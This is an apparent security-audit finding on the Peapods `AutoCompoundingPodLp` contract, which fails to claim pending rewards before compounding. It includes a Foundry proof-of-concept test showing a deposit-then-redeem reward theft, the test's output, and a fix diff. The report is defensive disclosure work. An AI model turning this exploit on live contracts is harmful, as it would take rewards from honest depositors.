Atomic Syrup Leopard

High

# Incorrect logic of process rewards in `AutoCompoundingPodLp` contract allows users to steal rewards from other users

### Summary

The `AutoCompoundingPodLp` contract is designed to compound rewards from the `TokenRewards` contract to staking tokens by swapping, thus accumulating assets of the vault.  However, the logic of processing rewards is flawed, which allows users to steal rewards from other users.

### Root Cause

The root cause of the issue stays in [`_processRewardsToPodLp`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L213-L231) function of `AutoCompoundingPodLp` contract, where it does not claim accumulated rewards from `TokenRewards` contract, thus making total assets of the vault incorrect.

### Internal Pre-conditions

- One of reward tokens or paired LP tokens are deposited to the `TokenRewards` contract

### External Pre-conditions

- A malicious user calls `deposit` and then calls `withdraw` immediately

### Attack Path

- Alice and Bob each has 100 `spTkn`
- Alice has first deposited her 100 `spTkn` to the `AutoCompoundingPodLp` contract
- At some point, 100 DAI of rewards has been accrued in the `TokenRewards` contract
- Since Alice and Bob have the same amount of `spTkn`, 50 DAI is for Alice and 50 DAI is for Bob
- Bob deposits his 100 `spTkn` to the `AutoCompoundingPodLp` contract
- At the time of Bob's deposit, 50 DAI is transferred from `TokenRewarsd` contract to Bob
- Bob immediately redeems his `spTkn`
- Since 50 DAI is accrued to `AutoCompoundingPodLp` contract, 50 DAI is swapped into `spTkn`
- As Alice and Bob had same amount of `aspToken`, swapped `spTkn` is distributed to Alice and Bob equally
- As a result, Alice gets 25 DAI as reward, while Bob gets 75 DAI as reward

### Impact

Rewards can always be stolen by malicious users.

### PoC

Here's the test case written in Foundry, which shows how rewards can be stolen by malicious users.

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {PodHelperTest} from "../helpers/PodHelper.t.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
import {PEAS} from "../../contracts/PEAS.sol";
import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
import {IndexUtils} from "../../contracts/IndexUtils.sol";
import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
import {TokenRewards} from "../../contracts/TokenRewards.sol";

contract AutoCompoundingPodLpAuditTest is PodHelperTest {

    IERC20 private s_podAsset;
    PEAS private s_peas;
    V3TwapUtilities private s_twapUtils;
    IndexUtils private s_indexUtils;
    IERC20 private s_dai;
    UniswapDexAdapter private s_dexAdapter;
    WeightedIndex private s_pod;
    StakingPoolToken private s_stakingPool;
    address private s_UniV2Lp;
    RewardsWhitelist private s_rewardsWhitelist;
    AutoCompoundingPodLpFactory private s_aspFactory;
    AutoCompoundingPodLp private s_asp;

    function setUp() public override {
        super.setUp();

        s_podAsset = IERC20(address(0x02f92800F57BCD74066F5709F1Daa1A4302Df875)); // Use PEAS as the pod asset
        s_peas = PEAS(address(0x02f92800F57BCD74066F5709F1Daa1A4302Df875));
        s_dai = IERC20(address(0x6B175474E89094C44Da98b954EedeAC495271d0F));
        s_twapUtils = new V3TwapUtilities();
        s_dexAdapter = new UniswapDexAdapter(
            s_twapUtils,
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, // Uniswap V2 Router
            0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
            false
        );
        s_indexUtils = new IndexUtils(s_twapUtils, s_dexAdapter);
        s_rewardsWhitelist = new RewardsWhitelist();

        IDecentralizedIndex.Config memory _c;
        IDecentralizedIndex.Fees memory _f;
        address[] memory _t = new address[](1);
        _t[0] = address(s_podAsset);
        uint256[] memory _w = new uint256[](1);
        _w[0] = 100;

        s_pod = WeightedIndex(payable(_createPod(
            "Podded ABC",
            "pABC",
            _c,
            _f,
            _t,
            _w,
            address(0),
            true,
            abi.encode(
                s_dai, // Paired LP
                address(s_peas), // LP Rewards
                0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI
                0x7d544DD34ABbE24C8832db27820Ff53C151e949b, // Fee Router
                s_rewardsWhitelist, // Rewards Whitelist
                s_twapUtils, // V3 Twap Utils
                s_dexAdapter // Dex Adapter
            )
        )));

        s_stakingPool = StakingPoolToken(s_pod.lpStakingPool());
        s_UniV2Lp = s_stakingPool.stakingToken();

        // Add Liquidity to Uniswap V2's pABC/DAI Pool
        deal(address(s_pod), address(this), 1000e18);
        deal(address(s_dai), address(this), 10000e18);

        s_pod.approve(address(s_pod), type(uint256).max);
        s_dai.approve(address(s_pod), type(uint256).max);
        s_pod.addLiquidityV2(1000e18, 10000e18, 1000, block.timestamp);

        s_aspFactory = new AutoCompoundingPodLpFactory();

        // Preparation for minimum liquidity deposit
        IERC20(s_UniV2Lp).approve(address(s_stakingPool), type(uint256).max);
        s_stakingPool.stake(address(this), 1000);
        s_stakingPool.approve(address(s_aspFactory), type(uint256).max);

        s_asp = AutoCompoundingPodLp(s_aspFactory.create(
            "Auto Compounding pABC",
            "aspABC",
            false,
            s_pod,
            s_dexAdapter,
            s_indexUtils,
            0
        ));

        vm.label(address(s_pod), "pABC");
        vm.label(address(s_stakingPool), "spABC");
        vm.label(address(s_asp), "aspABC");
    }

    function test_stealRewards() public {
        address alice = makeAddr("Alice");
        address bob = makeAddr("Bob");

        deal(s_UniV2Lp, alice, 1e18);
        deal(s_UniV2Lp, bob, 1e18);

        // Alice stakes her LP tokens to mint spABC
        vm.startPrank(alice);
        IERC20(s_UniV2Lp).approve(address(s_stakingPool), type(uint256).max);
        s_stakingPool.stake(alice, 1e18);
        vm.stopPrank();

        // Bob stakes his LP tokens to mint spABC
        vm.prank(bob);
        IERC20(s_UniV2Lp).approve(address(s_stakingPool), type(uint256).max);
        s_stakingPool.stake(bob, 1e18);
        vm.stopPrank();

        // Alice deposits her spABC to the aspABC
        vm.startPrank(alice);
        s_stakingPool.approve(address(s_asp), type(uint256).max);
        s_asp.deposit(1e18, alice);
        vm.stopPrank();

        // Simulate rewards has been accrued in the TokenRewards contract
        TokenRewards tokenRewards = TokenRewards(s_stakingPool.POOL_REWARDS());
        deal(address(s_dai), address(this), 1000e18);
        s_dai.approve(address(tokenRewards), type(uint256).max);
        tokenRewards.depositFromPairedLpToken(1000e18);

        // Bob deposits his spABC and immediately redeems it
        vm.startPrank(bob);
        s_stakingPool.approve(address(s_asp), type(uint256).max);
        s_asp.deposit(1e18, bob);
        s_asp.redeem(s_asp.maxRedeem(bob), bob, bob);
        vm.stopPrank();

        // Alice redeems her spABC  
        vm.startPrank(alice);
        s_asp.redeem(s_asp.maxRedeem(alice), alice, alice);
        vm.stopPrank();

        // Log the balances of the participants
        console.log("Alice's spTkn Balance:", s_stakingPool.balanceOf(alice));
        console.log("Bob's spTkn balance:", s_stakingPool.balanceOf(bob));
        console.log("Alice's dai balance:", s_dai.balanceOf(alice));
        console.log("Bob's dai balance:", s_dai.balanceOf(bob));

        assertEq(s_stakingPool.balanceOf(alice), s_stakingPool.balanceOf(bob));
        assertGt(s_dai.balanceOf(bob), s_dai.balanceOf(alice));
    }
}
```

You can run the test case by executing `forge test --match-test test_stealRewards --fork-url {{RPC_URL}} -vv`.

Here's the output of the test case:

```bash
[PASS] test_stealRewards() (gas: 2200480)
Logs:
  Alice's spTkn Balance: 34484714684933262642
  Bob's spTkn balance: 34484714684933262642
  Alice's dai balance: 0
  Bob's dai balance: 451249999999999774375

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.65s (4.96s CPU time)
```

### Mitigation

To fix the issue, we need to claim rewards from `TokenRewards` contract in `_processRewardsToPodLp` function.

```diff
    function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
        if (!yieldConvEnabled) {
            return _lpAmtOut;
        }
+       ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).claimRewards(address(this));
        address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
        uint256 _len = _tokens.length + 1;
        for (uint256 _i; _i < _len; _i++) {
            address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
            uint256 _bal =
                IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
            if (_bal == 0) {
                continue;
            }
            uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
            _lpAmtOut += _newLp;
        }
        _totalAssets += _lpAmtOut;
        require(_lpAmtOut >= _amountLpOutMin, "M");
    }
```